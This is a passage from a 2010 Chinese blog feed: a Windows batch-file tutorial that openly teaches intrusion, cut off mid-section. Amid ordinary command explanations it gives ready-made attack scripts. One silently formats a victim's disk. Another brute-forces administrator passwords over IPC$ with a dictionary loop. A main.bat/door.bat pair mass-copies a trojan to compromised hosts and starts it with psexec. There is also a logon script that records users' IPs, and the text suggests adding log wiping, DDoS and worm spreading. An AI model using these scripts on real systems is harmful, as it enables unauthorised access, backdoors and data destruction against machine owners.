<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[IDC笔记 - 工作日记]]></title>
<link>http://www.idcnote.com/</link>
<description><![CDATA[创造机会的人是勇者；等待机会的人是愚者]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[wentaiyou@126.com(Kevin)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>IDC笔记</title> 
	<url>http://www.idcnote.com/images/logos.gif</url> 
	<link>http://www.idcnote.com/</link> 
	<description>IDC笔记</description> 
</image>

			<item>
			<link>http://www.idcnote.com/default.asp?id=66</link>
			<title><![CDATA[windows 批处理程教程]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Thu,22 Jul 2010 14:00:38 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=66</guid>	
		<description><![CDATA[批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等<br/><br/>一.简单批处理内部命令简介 <br/>1.echo 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;语法 <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo [] [message] <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample：@echo off / echo hello world <br/>&nbsp;&nbsp;&nbsp;&nbsp;在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 <br/><br/>2.@ 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample：@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo Now initializing the program,please wait a minite... <br/>&nbsp;&nbsp;&nbsp;&nbsp;@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。win2k不支持) <br/>3.goto 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） <br/>&nbsp;&nbsp;&nbsp;&nbsp;@Rem check parameters if null show usage <br/>&nbsp;&nbsp;&nbsp;&nbsp;:noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo Usage: monitor.bat ServerIP PortNumber <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 <br/>4.rem 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Rem Message <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample：@Rem Here is the description. <br/>5.pause 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;运行 Pause 命令时，将显示下面的消息： <br/>&nbsp;&nbsp;&nbsp;&nbsp;Press any key to continue . . . <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;:begin <br/>&nbsp;&nbsp;&nbsp;&nbsp;copy a:*.* d：back <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo Please put a new disk into driver A <br/>&nbsp;&nbsp;&nbsp;&nbsp;pause <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto begin <br/>&nbsp;&nbsp;&nbsp;&nbsp;在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。 <br/>6.call 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;语法 <br/>&nbsp;&nbsp;&nbsp;&nbsp;call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] <br/>&nbsp;&nbsp;&nbsp;&nbsp;参数 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[Drive:}[Path] FileName <br/>&nbsp;&nbsp;&nbsp;&nbsp;指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 <br/>7.start 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;入侵常用参数： <br/>&nbsp;&nbsp;&nbsp;&nbsp;MIN 开始时窗口最小化 <br/>&nbsp;&nbsp;&nbsp;&nbsp;SEPARATE 在分开的空间内开始 16 位 Windows 程序 <br/>&nbsp;&nbsp;&nbsp;&nbsp;HIGH 在 HIGH 优先级类别开始应用程序 <br/>&nbsp;&nbsp;&nbsp;&nbsp;REALTIME 在 REALTIME 优先级类别开始应用程序 <br/>&nbsp;&nbsp;&nbsp;&nbsp;WAIT 启动应用程序并等候它结束 <br/>&nbsp;&nbsp;&nbsp;&nbsp;parameters 这些为传送到命令/程序的参数 <br/>&nbsp;&nbsp;&nbsp;&nbsp;执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。 <br/>8.choice 命令(win2k已失效) <br/>&nbsp;&nbsp;&nbsp;&nbsp;choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234…… <br/>如: choice /c:dme defrag,mem,end <br/>&nbsp;&nbsp;&nbsp;&nbsp;将显示 <br/>&nbsp;&nbsp;&nbsp;&nbsp;defrag,mem,end[D,M,E]? <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample.bat的内容如下: <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;choice /c:dme defrag,mem,end <br/>&nbsp;&nbsp;&nbsp;&nbsp;if errorlevel 3 goto defrag （应先判断数值最高的错误码） <br/>&nbsp;&nbsp;&nbsp;&nbsp;if errorlevel 2 goto mem <br/>&nbsp;&nbsp;&nbsp;&nbsp;if errotlevel 1 goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;:defrag <br/>&nbsp;&nbsp;&nbsp;&nbsp;c:dosdefrag <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;:mem <br/>&nbsp;&nbsp;&nbsp;&nbsp;mem <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;:end <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo good bye <br/>&nbsp;&nbsp;&nbsp;&nbsp;此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 <br/>9.If 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br/>&nbsp;&nbsp;&nbsp;&nbsp;1、if &#34;参数&#34; == &#34;字符串&#34; 　待执行的命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） <br/>&nbsp;&nbsp;&nbsp;&nbsp;如if &#34;%1&#34;==&#34;a&#34; format a: <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;2、if exist 文件名　 待执行的命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如if exist config.sys edit config.sys <br/>&nbsp;&nbsp;&nbsp;&nbsp;3、if errorlevel / if not errorlevel 数字　 待执行的命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如if errorlevel 2 goto x2 　 <br/>&nbsp;&nbsp;&nbsp;&nbsp;DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。 <br/>10.for 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <br/>&nbsp;&nbsp;&nbsp;&nbsp;for in (set) do command [CommandLineOptions] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%variable 指定一个单一字母可替换的参数。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(set) 指定一个或一组文件。可以使用通配符。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command 指定对每个文件执行的命令。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command-parameters 为特定命令指定参数或命令行开关。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable，而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /D %variable IN (set) DO command [command-parameters] <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] <br/>&nbsp;&nbsp;&nbsp;&nbsp;检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /L %variable IN (start,step,end) DO command [command-parameters] <br/>&nbsp;&nbsp;&nbsp;&nbsp;该集表示以增量形式从开始到结束的一个数字序列。 因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 序列 (5 4 3 2 1)。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (filenameset) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (`command`) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;或者，如果有 usebackq 选项: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (file-set) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (`command`) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。 处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 &#34;options&#34; 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为: <br/>&nbsp;&nbsp;&nbsp;&nbsp;eol=c - 指一个行注释字符的结尾(就一个) <br/>&nbsp;&nbsp;&nbsp;&nbsp;skip=n - 指在文件开始时忽略的行数。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 n 符号指定 m 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 <br/>sample1: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F &#34;eol=; tokens=2,3* delims=, &#34; %i in (myfile.txt) do command <br/>&nbsp;&nbsp; 会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 “z” 或 “Z” 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F &#34;usebackq delims==&#34; %i IN (`set`) DO @echo %i <br/>&nbsp;&nbsp;&nbsp;&nbsp;会枚举当前环境中的环境变量名称。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;另外，FOR 变量参照的替换已被增强。您现在可以使用下列 <br/>&nbsp;&nbsp;&nbsp;&nbsp;选项语法: <br/>&nbsp;&nbsp;&nbsp;&nbsp;~I - 删除任何引号(&#34;)，扩充 %i <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~fi - 将 %i 扩充到一个完全合格的路径名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~di - 仅将 %i 扩充到一个驱动器号 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~pi - 仅将 %i 扩充到一个路径 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ni - 仅将 %i 扩充到一个文件名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~xi - 仅将 %i 扩充到一个文件扩展名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~si - 扩充的路径只含有短名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ai - 将 %i 扩充到文件的文件属性 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ti - 将 %i 扩充到文件的日期/时间 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~zi - 将 %i 扩充到文件的大小 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~$PATH:i - 查找列在路径环境变量的目录，并将 %i 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串 <br/>&nbsp;&nbsp;&nbsp;&nbsp;可以组合修饰符来得到多重结果: <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~dpi - 仅将 %i 扩充到一个驱动器号和路径 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~nxi - 仅将 %i 扩充到一个文件名和扩展名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~fsi - 仅将 %i 扩充到一个带有短名的完整路径名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %i 扩充 <br/>&nbsp;&nbsp;&nbsp;&nbsp;到找到的第一个驱动器号和路径。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ftzai - 将 %i 扩充到类似输出线路的 dir<br/>&nbsp;&nbsp;&nbsp;&nbsp;在以上例子中，%i 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %i 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample2： <br/>&nbsp;&nbsp;&nbsp;&nbsp;利用For命令来实现对一台目标Win2k主机的暴力密码破解。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;我们用net use ipipc$ &#34;password&#34; /u:&#34;administrator&#34;来尝试这和目标主机进行连接，当成功时记下密码。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;最主要的命令是一条：for /f %i in (dict.txt) do net use ipipc$ &#34;%i&#34; /u:&#34;administrator&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;用%i来表示admin的密码，在dict.txt中这个取%i的值用net use 命令来连接。然后将程序运行结果传递给find命令－－ <br/>&nbsp;&nbsp;&nbsp;&nbsp;for /f %i in (dict.txt) do net use ipipc$ &#34;%i&#34; /u:&#34;administrator&#34;|find &#34;:命令成功完成&#34;&gt;&gt;Dk.txt ，这样就ko了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample3： <br/>&nbsp;&nbsp;&nbsp;&nbsp;你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） <br/>&nbsp;&nbsp;&nbsp;&nbsp;@for /f &#34;tokens=1,2,3 delims= &#34; %%i in (victim.txt) do start call door.bat %%i %%j %%k <br/>&nbsp;&nbsp;&nbsp;&nbsp;tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br/><br/>代码雏形： <br/>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br/>@echo off <br/>@if &#34;%1&#34;==&#34;&#34; goto usage <br/>@for /f &#34;tokens=1,2,3 delims= &#34; %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <br/>@goto end <br/>:usage <br/>@echo run this batch in dos modle.or just double-click it. <br/>:end <br/>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br/><br/>------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- <br/>@net use %1ipc$ %3 /u:&#34;%2&#34; <br/>@if errorlevel 1 goto failed <br/>@echo Trying to establish the IPC$ connection …………OK <br/>@copy windrv32.exe%1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt <br/>@psexec %1 c:winntsystem32windrv32.exe <br/>@psexec %1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <br/>:failed <br/>@echo Sorry can not connected to the victim. <br/>----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容 <br/>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.<br/>二.如何在批处理文件中使用参数 <br/>&nbsp;&nbsp;&nbsp;&nbsp;批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample1：fomat.bat <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;if &#34;%1&#34;==&#34;a&#34; format a: <br/>&nbsp;&nbsp;&nbsp;&nbsp;:format <br/>&nbsp;&nbsp;&nbsp;&nbsp;@format a:/q/u/auotset <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo please ins&#101;rt another disk to driver A. <br/>&nbsp;&nbsp;&nbsp;&nbsp;@pause <br/>&nbsp;&nbsp;&nbsp;&nbsp;@goto fomat <br/>&nbsp;&nbsp;&nbsp;&nbsp;这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^ <br/>sample2： <br/>&nbsp;&nbsp;&nbsp;&nbsp;当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;@net use 1%ipc$ &#34;2%&#34; /u:&#34;3%&#34; 注意哦，这里PASSWORD是第二个参数。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;@if errorlevel 1 echo connection failed <br/>&nbsp;&nbsp;&nbsp;&nbsp;怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^. <br/>三.如何使用组合命令(Compound Command) <br/>1.&amp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，而不管命令是否执行成功 <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir z: &amp; dir c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Directory of c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 &lt;DIR&gt; . <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 &lt;DIR&gt; .. <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 14 sometips.gif <br/>2.&amp;&amp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir z: &amp;&amp; dir c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified. <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir c:Ex4rch &amp;&amp; dir z: <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Directory of c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 &lt;DIR&gt; . <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 &lt;DIR&gt; .. <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 14 sometips.gif <br/>&nbsp;&nbsp;&nbsp;&nbsp;1 File(s) 14 bytes <br/>&nbsp;&nbsp;&nbsp;&nbsp;2 Dir(s) 768,671,744 bytes free <br/>&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified. <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;在做备份的时候可能会用到这种命令会比较简单，如： <br/>&nbsp;&nbsp;&nbsp;&nbsp;dir file://192.168.0.1/database/backup.mdb &amp;&amp; copy file://192.168.0.1/database/backup.mdb E:backup <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：） <br/>&nbsp;&nbsp;&nbsp;&nbsp;3.|| <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 || 第二条命令 [|| 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;C:Ex4rch&gt;dir sometips.gif || del sometips.gif <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Directory of C:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 14 sometips.gif <br/>&nbsp;&nbsp;&nbsp;&nbsp;1 File(s) 14 bytes <br/>&nbsp;&nbsp;&nbsp;&nbsp;0 Dir(s) 768,696,320 bytes free <br/>&nbsp;&nbsp;&nbsp;&nbsp;组合命令使用的例子： <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;@copy trojan.exe %1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt <br/><br/>四、管道命令的使用 <br/>1.| 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 | 第二条命令 [| 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;time /t&gt;&gt;D:IP.log <br/>&nbsp;&nbsp;&nbsp;&nbsp;netstat -n -p tcp|find &#34;:3389&#34;&gt;&gt;D:IP.log <br/>&nbsp;&nbsp;&nbsp;&nbsp;start Explorer <br/>&nbsp;&nbsp;&nbsp;&nbsp;看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。 <br/>2.&gt;、&gt;&gt;输出重定向命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 